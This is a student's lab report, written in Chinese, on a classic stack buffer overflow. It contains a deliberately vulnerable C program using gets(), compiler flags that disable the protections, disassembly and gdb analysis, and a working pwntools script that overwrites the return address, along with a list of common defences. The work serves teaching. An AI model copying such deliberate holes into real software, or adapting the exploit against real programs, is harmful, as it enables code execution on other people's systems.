Attack Lab

刘铠铭 2020030014 计14

实验原理

利用缓冲区溢出对程序进行攻击，实现非法访问等操作。

环境配置

1. WSL2 Ubuntu22.04LTS
2. gcc version 11.3.0 (Ubuntu 11.3.0-1ubuntu1~22.04)
3. 编译时可直接执行 `make` 来关闭 Stack Canary 保护和 PIE 保护等。

实验步骤

1. 编写受害程序代码

```
#include <stdio.h>
#include <stdlib.h>

void target() {
    printf("You find a secret room! Success!\n");
    exit(0);
}

void getbuf() {
    char buf[16];
    printf("Enter the password to the secret root:\n");
    gets(buf);
    return;
}

int main() {
    getbuf();
    printf("Failed to find the secret room!\n");

    return 0;
}
```

其中 `target()` 为被攻击程序，正常情况下不应被执行。

2. 编译

`gcc -m32 -fno-stack-protector -no-pie source.c -o source`

3. 利用 `objdump -d source |less` 得到反汇编代码，从中可以找到如下信息：

```
08049196 <target>:
 8049196:   55                      push   %ebp
```

```
080491c4 <getbuf>:
 80491c4:   55                      push   %ebp
 80491c5:   89 e5                   mov    %esp,%ebp
 80491c7:   53                      push   %ebx
 80491c8:   83 ec 14                sub    $0x14,%esp
 80491cb:   e8 6e 00 00 00          call   804923e <__x86.get_pc_thunk.ax>
 80491d0:   05 30 2e 00 00          add    $0x2e30,%eax
 80491d5:   83 ec 0c                sub    $0xc,%esp
 80491d8:   8d 55 e8                lea    -0x18(%ebp),%edx
 80491db:   52                      push   %edx
 80491dc:   89 c3                   mov    %eax,%ebx
 80491de:   e8 6d fe ff ff          call   8049050 <gets@plt>
```

可以得出缓冲区空间共 28bytes，`target()` 的起始地址为 0x8049196

其中缓冲区空间也可以通过 gdb 得到：

```
[----------------------------------code----------------------------------
---]
0x804920f <main+35>: push   eax
0x8049210 <main+36>: call   0x8049060 <puts@plt>
0x8049215 <main+41>: add    esp,0x10
=> 0x8049218 <main+44>: call   0x80491c4 <getbuf>
0x804921d <main+49>: sub    esp,0xc
0x8049220 <main+52>: lea    eax,[ebx-0x1fb8]
0x8049226 <main+58>: push   eax
0x8049227 <main+59>: call   0x8049060 <puts@plt>
No argument
[----------------------------------stack-----------------------------------
---]
0000| 0xffffca80 --> 0xffffcaa0 --> 0x1
0004| 0xffffca84 --> 0xf7f9b000 --> 0x225dac
0008| 0xffffca88 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
0012| 0xffffca8c --> 0xf7d96519 (add    esp,0x10)
0016| 0xffffca90 --> 0xffffcd1f ("/home/kming/Project/Overflow/source")
0020| 0xffffca94 --> 0x70 ('p')
0024| 0xffffca98 --> 0xf7ffd000 --> 0x36f2c
0028| 0xffffca9c --> 0xf7d96519 (add    esp,0x10)
[----------------------------------------------------------------------------
---]
```

4. 设计攻击程序

```python
# tool.py
from pwn import *

sh = process("./source")
sh.recvline()
sh.sendline(b'0'*28 + p32(0x8049196))
print(sh.recvline())
```

实验结果

利用 pwntools 进行攻击，执行 `python tool.py`：

```python
from pwn import *

sh = process("./source")
sh.recvline()
sh.sendline(b'A'*28 + p32(0x8049196))
print(sh.recvline())
```

```
~/Project/NetworkSecure/Overflow
❯ python tool.py
[+] Starting local process './source': pid 29150
b'You find a secret room!\n'
[*] Process './source' stopped with exit code 0 (pid 29150)
```

影响因素分析

针对栈溢出攻击，有如下常见的保护方式：

1. Stack Canary：在栈帧中插入随机的特殊值，返回时检查其是否被更改；
2. 数据执行保护（DEP）：防止攻击者执行位于可执行内存区域之外的恶意代码；
3. Address Space Layout Randomization（ASLR）：随机化可执行文件、库和操作系统组件的内存布局；
4. 栈的非执行标志（NX）：NX 位允许操作系统通过将内存页标记为不可执行来保护内存免受栈溢出攻击。

由于本实验仅考虑最简单的无保护措施下的栈溢出攻击，因此较为简单，否则应当尝试 ROP 等攻击方式。

完整代码

完整代码请参考 https://cloud.tsinghua.edu.cn/d/1a96b198a593475abf7f/

参考资料

- CSAPP Attack Lab README.md